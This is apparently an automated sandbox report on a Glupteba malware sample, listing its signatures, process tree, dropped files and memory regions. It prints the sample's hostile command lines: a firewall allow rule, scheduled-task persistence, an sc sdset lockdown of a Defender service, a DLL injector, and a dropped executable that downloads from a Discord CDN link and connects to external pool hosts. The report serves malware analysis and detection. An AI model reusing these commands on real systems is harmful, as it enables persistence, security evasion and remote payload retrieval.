Analysis

  • max time kernel
    230s
  • max time network
    299s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    16/05/2024, 22:55

General

  • Target
    32a14ff5e71f7370ae246f27c87a811140dee7f6176421f33b4c01014093473e.exe
  • Size 4.1MB
  • Sample240516-2v8gcsch22
  • SHA256 32a14ff5e71f7370ae246f27c87a811140dee7f6176421f33b4c01014093473e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 28 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 5 IoCs
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 9 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\32a14ff5e71f7370ae246f27c87a811140dee7f6176421f33b4c01014093473e.exe
    "C:\Users\Admin\AppData\Local\Temp\32a14ff5e71f7370ae246f27c87a811140dee7f6176421f33b4c01014093473e.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4188
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4696
    • C:\Users\Admin\AppData\Local\Temp\32a14ff5e71f7370ae246f27c87a811140dee7f6176421f33b4c01014093473e.exe
      "C:\Users\Admin\AppData\Local\Temp\32a14ff5e71f7370ae246f27c87a811140dee7f6176421f33b4c01014093473e.exe"
      2⤵
      • Windows security bypass
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3524
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:516
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2352
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4564
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Manipulates WinMonFS driver.
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4216
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:4840
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /delete /tn ScheduledUpdate /f
          4⤵
            PID:5040
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5068
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5052
          • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:1360
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
            4⤵
            • Creates scheduled task(s)
            PID:4248
          • C:\Windows\windefender.exe
            "C:\Windows\windefender.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2824
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4216
              • C:\Windows\SysWOW64\sc.exe
                sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                6⤵
                • Launches sc.exe
                • Suspicious use of AdjustPrivilegeToken
                PID:1680
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:1104
          • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
            4⤵
            • Executes dropped EXE
            PID:3604
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:2580
    • C:\Windows\windefender.exe
      C:\Windows\windefender.exe
      1⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:224

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_hfhm2oap.h24.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfhm2oap.h24.ps1
          • Size 1B
          • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
          • MD5 SHA1 SHA512

          dcb505dc2b9d8aac05f4ca0727f5eadb.exe

          • Path C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
          • Size 2.0MB
          • SHA256 61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
          • MD5 SHA1 SHA512 SSDEEP

          injector.exe

          • Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          • Size 281KB
          • SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
          • MD5 SHA1 SHA512 SSDEEP

          powershell.exe.log

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
          • MD5 SHA1 SHA512

          StartupProfileData-Interactive

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 18KB
          • SHA256 d5d70ec2bc1a901f60c0d569c83179c40986f3e7fc43b953932516a6b3acb2d4
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-Interactive

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 18KB
          • SHA256 2096a9014285dba3ae85cf6a8df6e4e9799c2e7b0d2d6b1403b35fe1b1b25b95
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-Interactive

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 18KB
          • SHA256 753ac4fe4fad3790c6ed882fffb98d78b65179394e6a61c4456489cc5331a1ca
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-Interactive

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 18KB
          • SHA256 d9561c7d5361106e320b16d29b9694523832be261b9636f9a830aece249e2769
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-Interactive

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 18KB
          • SHA256 edfcc72990c8dac84b94c5c6fe98528eb9f7b4cf83f5b33c9243b3ff9cce8637
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-Interactive

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 18KB
          • SHA256 a31fc6a50438403f9fec0c64fdd68127b98ddd68f2787e283227232c59c80118
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-Interactive

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 18KB
          • SHA256 e5fdf45219dfaa92024c7bd8e1ec6de6537a11f37cd2d977c5907343e3478904
          • MD5 SHA1 SHA512 SSDEEP

          csrss.exe

          • Path C:\Windows\rss\csrss.exe
          • Size 4.1MB
          • SHA256 32a14ff5e71f7370ae246f27c87a811140dee7f6176421f33b4c01014093473e
          • MD5 SHA1 SHA512 SSDEEP

          windefender.exe

          • Path C:\Windows\windefender.exe
          • Size 2.0MB
          • SHA256 166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
          • MD5 SHA1 SHA512 SSDEEP

          memory/224-1757-0x0000000000400000-0x00000000008DF000-memory.dmp

          memory/224-1753-0x0000000000400000-0x00000000008DF000-memory.dmp

          memory/224-1749-0x0000000000400000-0x00000000008DF000-memory.dmp

          memory/1104-1812-0x000000006FFE0000-0x0000000070330000-memory.dmp

          memory/1104-1790-0x0000000008270000-0x00000000085C0000-memory.dmp

          memory/1104-1792-0x0000000008D40000-0x0000000008D8B000-memory.dmp

          memory/1104-1811-0x000000006FF90000-0x000000006FFDB000-memory.dmp

          memory/1104-1817-0x0000000009D80000-0x0000000009E25000-memory.dmp

          memory/2352-565-0x0000000070220000-0x0000000070570000-memory.dmp

          memory/2352-564-0x00000000701D0000-0x000000007021B000-memory.dmp

          memory/2524-1022-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/2524-878-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/2580-2053-0x000000006FF90000-0x000000006FFDB000-memory.dmp

          memory/2580-2054-0x000000006FFE0000-0x0000000070330000-memory.dmp

          memory/2824-1746-0x0000000000400000-0x00000000008DF000-memory.dmp

          memory/2824-1751-0x0000000000400000-0x00000000008DF000-memory.dmp

          memory/3008-1774-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1778-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1752-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1768-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1770-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1754-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1772-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1756-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1776-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1745-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1766-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1780-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1764-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1762-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1736-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1782-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1784-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1760-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1786-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3008-1758-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/3524-327-0x0000000070220000-0x0000000070570000-memory.dmp

          memory/3524-326-0x00000000701D0000-0x000000007021B000-memory.dmp

          memory/3524-306-0x0000000007950000-0x0000000007CA0000-memory.dmp

          memory/3524-332-0x0000000009460000-0x0000000009505000-memory.dmp

          memory/3524-307-0x0000000008210000-0x000000000825B000-memory.dmp

          memory/3604-2031-0x0000000000400000-0x00000000008E1000-memory.dmp

          memory/3604-2029-0x0000000000400000-0x00000000008E1000-memory.dmp

          memory/4188-1-0x00000000045E0000-0x00000000049E8000-memory.dmp

          memory/4188-300-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/4188-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

          memory/4188-302-0x00000000049F0000-0x00000000052DB000-memory.dmp

          memory/4188-301-0x0000000000400000-0x0000000000D1C000-memory.dmp

          memory/4188-297-0x0000000000400000-0x0000000002959000-memory.dmp

          memory/4188-2-0x00000000049F0000-0x00000000052DB000-memory.dmp

          memory/4216-1049-0x00000000701A0000-0x00000000704F0000-memory.dmp

          memory/4216-1054-0x0000000009470000-0x0000000009515000-memory.dmp

          memory/4216-1027-0x0000000007860000-0x0000000007BB0000-memory.dmp

          memory/4216-1029-0x0000000008480000-0x00000000084CB000-memory.dmp

          memory/4216-1048-0x0000000070130000-0x000000007017B000-memory.dmp

          memory/4564-784-0x0000000007340000-0x0000000007690000-memory.dmp

          memory/4564-804-0x00000000701D0000-0x000000007021B000-memory.dmp

          memory/4564-805-0x0000000070240000-0x0000000070590000-memory.dmp

          memory/4696-81-0x000000000A3D0000-0x000000000A475000-memory.dmp

          memory/4696-74-0x00000000700B0000-0x00000000700FB000-memory.dmp

          memory/4696-6-0x00000000733AE000-0x00000000733AF000-memory.dmp

          memory/4696-7-0x0000000004F40000-0x0000000004F76000-memory.dmp

          memory/4696-9-0x0000000007740000-0x0000000007D68000-memory.dmp

          memory/4696-8-0x00000000733A0000-0x0000000073A8E000-memory.dmp

          memory/4696-10-0x00000000733A0000-0x0000000073A8E000-memory.dmp

          memory/4696-299-0x00000000733A0000-0x0000000073A8E000-memory.dmp

          memory/4696-280-0x000000000A520000-0x000000000A528000-memory.dmp

          memory/4696-275-0x000000000A530000-0x000000000A54A000-memory.dmp

          memory/4696-82-0x000000000A5B0000-0x000000000A644000-memory.dmp

          memory/4696-11-0x0000000007640000-0x0000000007662000-memory.dmp

          memory/4696-73-0x000000000A390000-0x000000000A3C3000-memory.dmp

          memory/4696-76-0x000000000A350000-0x000000000A36E000-memory.dmp

          memory/4696-75-0x0000000070100000-0x0000000070450000-memory.dmp

          memory/4696-12-0x0000000007D70000-0x0000000007DD6000-memory.dmp

          memory/4696-66-0x0000000009510000-0x0000000009586000-memory.dmp

          memory/4696-35-0x0000000009450000-0x000000000948C000-memory.dmp

          memory/4696-16-0x0000000008470000-0x00000000084BB000-memory.dmp

          memory/4696-15-0x00000000083D0000-0x00000000083EC000-memory.dmp

          memory/4696-14-0x0000000008030000-0x0000000008380000-memory.dmp

          memory/4696-13-0x0000000007FC0000-0x0000000008026000-memory.dmp

          memory/5052-1523-0x00000000700D0000-0x0000000070420000-memory.dmp

          memory/5052-1522-0x0000000070080000-0x00000000700CB000-memory.dmp

          memory/5068-1265-0x0000000007870000-0x0000000007BC0000-memory.dmp

          memory/5068-1292-0x0000000009080000-0x0000000009125000-memory.dmp

          memory/5068-1287-0x00000000700D0000-0x0000000070420000-memory.dmp

          memory/5068-1286-0x0000000070080000-0x00000000700CB000-memory.dmp

          memory/5068-1267-0x0000000007D00000-0x0000000007D4B000-memory.dmp